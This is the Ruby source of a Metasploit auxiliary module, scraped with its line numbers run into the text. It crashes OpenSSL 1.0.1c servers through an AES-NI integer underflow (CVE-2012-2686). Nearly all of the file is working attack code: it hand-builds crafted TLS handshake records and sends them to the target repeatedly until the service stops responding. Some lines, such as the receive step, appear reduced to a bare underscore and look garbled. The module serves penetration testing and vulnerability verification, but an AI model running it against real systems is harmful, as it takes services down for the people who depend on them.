Path: blob/master/modules/auxiliary/dos/ssl/openssl_aesni.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45# auxiliary/dos/ssl/openssl_aesni6class MetasploitModule < Msf::Auxiliary7include Msf::Exploit::Remote::Tcp8include Msf::Auxiliary::Dos910def initialize(info = {})11super(12update_info(13info,14'Name' => 'OpenSSL TLS 1.1 and 1.2 AES-NI DoS',15'Description' => %q{16The AES-NI implementation of OpenSSL 1.0.1c does not properly compute the17length of an encrypted message when used with a TLS version 1.1 or above. This18leads to an integer underflow which can cause a DoS. The vulnerable function19aesni_cbc_hmac_sha1_cipher is only included in the 64-bit versions of OpenSSL.20This module has been tested successfully on Ubuntu 12.04 (64-bit) with the default21OpenSSL 1.0.1c package.22},23'Author' => [24'Wolfgang Ettlinger <wolfgang.ettlinger[at]gmail.com>'25],26'License' => MSF_LICENSE,27'References' => [28[ 'CVE', '2012-2686'],29[ 'URL', 'https://www.openssl.org/news/secadv/20130205.txt' ]30],31'DisclosureDate' => '2013-02-05',32'Notes' => {33'Stability' => [CRASH_SERVICE_DOWN],34'SideEffects' => [],35'Reliability' => []36}37)38)3940register_options(41[42Opt::RPORT(443),43OptInt.new('MAX_TRIES', [true, 'Maximum number of tries', 300])44]45)46end4748def run49# Client Hello50p1 = "\x16" # Content Type: Handshake51p1 << "\x03\x01" # Version: TLS 1.052p1 << "\x00\x7e" # Length: 12653p1 << "\x01" # Handshake Type: Client Hello54p1 << "\x00\x00\x7a" # Length: 12255p1 << "\x03\x02" # Version: TLS 1.156p1 << ('A' * 32) # Random57p1 << "\x00" # Session ID Length: 058p1 << "\x00\x08" # Cypher Suites Length: 659p1 << "\xc0\x13" # - ECDHE-RSA-AES128-SHA60p1 << "\x00\x39" # - DHE-RSA-AES256-SHA61p1 << "\x00\x35" # - AES256-SHA62p1 << "\x00\xff" # - EMPTY_RENEGOTIATION_INFO_SCSV63p1 << "\x01" # Compression Methods Length: 164p1 << "\x00" # - NULL-Compression65p1 << "\x00\x49" # Extensions Length: 7366p1 << "\x00\x0b" # - Extension: ec_point_formats67p1 << "\x00\x04" # Length: 468p1 << "\x03" # EC Points Format Length: 369p1 << "\x00" # - uncompressed70p1 << "\x01" # - ansiX962_compressed_prime71p1 << "\x02" # - ansiX962_compressed_char272p1 << "\x00\x0a" # - Extension: elliptic_curves73p1 << "\x00\x34" # Length: 5274p1 << "\x00\x32" # Elliptic Curves Length: 5075# 25 Elliptic curves:76p1 << "\x00\x0e\x00\x0d\x00\x19\x00\x0b\x00\x0c\x00\x18\x00\x09\x00\x0a"77p1 << "\x00\x16\x00\x17\x00\x08\x00\x06\x00\x07\x00\x14\x00\x15\x00\x04"78p1 << "\x00\x05\x00\x12\x00\x13\x00\x01\x00\x02\x00\x03\x00\x0f\x00\x10"79p1 << "\x00\x11"8081p1 << "\x00\x23" # - Extension: SessionTicket TLS82p1 << "\x00\x00" # Length: 083p1 << "\x00\x0f" # - Extension: Heartbeat84p1 << "\x00\x01" # Length: 185p1 << "\x01" # Peer allowed to send requests8687# Change Cipher Spec Message88p2_cssm = "\x14" # Content Type: Change Cipher Spec89p2_cssm << "\x03\x02" # Version: TLS 1.190p2_cssm << "\x00\x01" # Length: 191p2_cssm << "\x01" # Change Cipher Spec Message9293# Encrypted Handshake Message94p2_ehm = "\x16" # Content Type: Handshake95p2_ehm << "\x03\x02" # Version: TLS 1.196p2_ehm << "\x00\x40" # Length: 6497p2_ehm << ('A' * 64) # Encrypted Message9899# Client Key Exchange, Change Cipher Spec, Encrypted Handshake100# AES256-SHA101p2_aes_sha = "\x16" # Content Type: Handshake102p2_aes_sha << "\x03\x02" # Version: TLS 1.1103p2_aes_sha << "\x01\x06" # Length: 262104p2_aes_sha << "\x10" # Handshake Type: Client Key Exchange105p2_aes_sha << "\x00\x01\x02" # Length: 258106p2_aes_sha << "\x01\x00" # Encrypted PreMaster Length: 256107p2_aes_sha << ("\x00" * 256) # Encrypted PresMaster (irrelevant)108p2_aes_sha << p2_cssm # Change Cipher Spec Message109p2_aes_sha << p2_ehm # Encrypted Handshake Message110111# DHE-RSA-AES256-SHA112p2_dhe = "\x16" # Content Type: Handshake113p2_dhe << "\x03\x02" # Version: TLS 1.1114p2_dhe << "\x00\x46" # Length: 70115p2_dhe << "\x10" # Handshake Type: Client Key Exchange116p2_dhe << "\x00\x00\x42" # Length: 66117p2_dhe << "\x00\x40" # DH Pubkey Length: 64118p2_dhe << ('A' * 64) # DH Pubkey119p2_dhe << p2_cssm # Change Cipher Spec Message120p2_dhe << p2_ehm # Encrypted Handshake Message121122# ECDHE-RSA-AES128-SHA123p2_ecdhe = "\x16" # Content Type: Handshake124p2_ecdhe << "\x03\x02" # Version: TLS 1.1125p2_ecdhe << "\x00\x46" # Length: 70126p2_ecdhe << "\x10" # Handshake Type: Client Key Exchange127p2_ecdhe << "\x00\x00\x42" # Length: 66128p2_ecdhe << "\x41" # EC DH Pubkey Length: 65129# EC DH Pubkey:130p2_ecdhe << "\x04\x2f\x22\xf4\x06\x3f\xa1\xf7\x3d\xb6\x55\xbc\x68\x65\x57\xd8"131p2_ecdhe << "\x03\xe5\xaa\x36\xeb\x0f\x52\x5a\xaf\xd0\x9f\xf8\xc7\xfe\x09\x69"132p2_ecdhe << "\x5b\x38\x95\x58\xb6\x0d\x27\x53\xe9\x63\xcb\x96\xb3\x54\x47\xa6"133p2_ecdhe << "\xb2\xe6\x8b\x2a\xd9\x03\xb4\x85\x46\xd9\x1c\x5f\xd1\xf7\x7b\x73"134p2_ecdhe << "\x40"135p2_ecdhe << p2_cssm # Change Cipher Spec Message136p2_ecdhe << p2_ehm # Encrypted Handshake Message137138maxtries = datastore['MAX_TRIES']139140success = false141142for i in 0..maxtries143print_status("Try \##{i}")144145connect146147sock.put(p1)148resp = sock.get_once149150cs = get_cipher_suite(resp)151152if cs == 0xc013 # ECDHE-RSA-AES128-SHA153p2 = p2_ecdhe154elsif cs == 0x0039 # DHE-RSA-AES256-SHA155p2 = p2_dhe156elsif cs == 0x0035 # AES256-SHA157p2 = p2_aes_sha158else159print_error('No common ciphers!')160return161end162163sock.put(p2)164165_166167begin168_169rescue EOFError170print_good("DoS successful. process on #{rhost} did not respond.")171success = true172break173end174175disconnect176177end178179if success == false180print_error('DoS unsuccessful.')181end182end183184def get_cipher_suite(resp)185offset = 0186187while offset < resp.length188type = (resp[offset, 1]).unpack('C')[0]189190if type != 22 # Handshake191return nil192end193194len = (resp[offset + 3, 2]).unpack('n')[0]195hstype = (resp[offset + 5, 1]).unpack('C')[0]196197if hstype == 2 # Server Hello198return (resp[offset + 44, 2]).unpack('n')[0]199end200201offset += len202end203end204end205206207